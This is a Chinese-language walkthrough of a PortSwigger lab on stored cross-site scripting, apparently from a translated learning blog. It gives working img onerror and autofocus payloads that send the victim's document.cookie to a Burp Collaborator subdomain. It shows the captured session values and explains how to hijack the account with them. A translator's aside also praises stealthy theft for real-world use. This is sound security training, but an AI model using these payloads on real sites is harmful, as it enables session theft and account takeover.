从业者-利用跨站脚本-窃取cookie
# 实验室:利用跨站脚本窃取cookie
# 题目
此实验室在 博客评论功能 中包含一个存储型 XSS 漏洞。在发布评论后,实验室会模拟一个受害用户浏览这些评论。若要解决实验室问题,请利用此漏洞泄露受害者的会话 Cookie,然后使用此 Cookie 冒充受害者。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室与任何外部系统之间的交互。要解决实验室问题,必须使用Burp Collaborator的默认公共服务器。
一些用户会注意到,本实验有一个替代解决方案,它不需要 Burp Collaborator。然而,这远没有偷 Cookie 那么不易察觉。
(((译者加:替代解决方案 比较简单粗暴,在实战中容易被用户和网站管理员察觉,还是“偷”比较好)))
- name: 实验室-从业者
desc: 利用跨站脚本窃取cookie >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
点击任意 “View post” 进入文章详情页。
提交一个评论,并尝试注入攻击载荷。
'"><img src=1 onerror=console.log(1)>
评论内容中的载荷被正常解析。
其中的 JavaScript 也被正确执行,成功调用console.log
函数并在控制台打印了字符1
。
启动 BurpSuite 并切换至 “Collaborator” 选项卡,点击 “Get started” 启用该功能。
启用功能后,点击 “Copy to clipboard” 获取一个子域名(自动复制到你的粘贴板中)。
回到文章评论功能,结合img
标签与 Collaborator 子域,实现 Cookie 外带:
<img src=1 onerror="this.src='http://<你的子域>/?c='+document.cookie">
由于给出了错误的src
属性值,所以会触发onerror
事件,通过document.cookie
获取当前用户的 Cookie 并将其拼接到子域的 GET 参数c
中。
提交评论之后,等待一段时间(或点击“Poll now”立即刷新)即可看到请求记录。
在 URL 中可以看到参数?c=
后方拼接了一大串字符。
secret=5Oy6BKIbO0AuCeZ8oWlEPma7rZB8gc8w;%20session=dlaETsdCJeqkE8oQ4KFZCgqcgbte6vZF
启用浏览器开发者工具,拿自己的 Cookie 和捕获的字符对比一下,确认捕获到的字符就是受害者的 Cookie。
访问登录界面,此时网页要求我们登录。
启用浏览器开发者工具,点击右上角的+
号添加 Cookie 条目。
将捕获的 Cookie 值填入相应条目:
刷新页面,成功访问受害者的账户页面。
实验完成。
经过测试,以下攻击载荷也可以实现相同的效果,且更“温和”:
<img tabindex=1 autofocus onfocus="this.src='http://<你的子域>/?c='+document.cookie">
什么?你问我题目中提到的 “替代解决方案” 是什么?
这个 “替代解决方案” 其实是XSS+CSRF
组合攻击,在评论区发布受害者的 Cookie,可以自行尝试。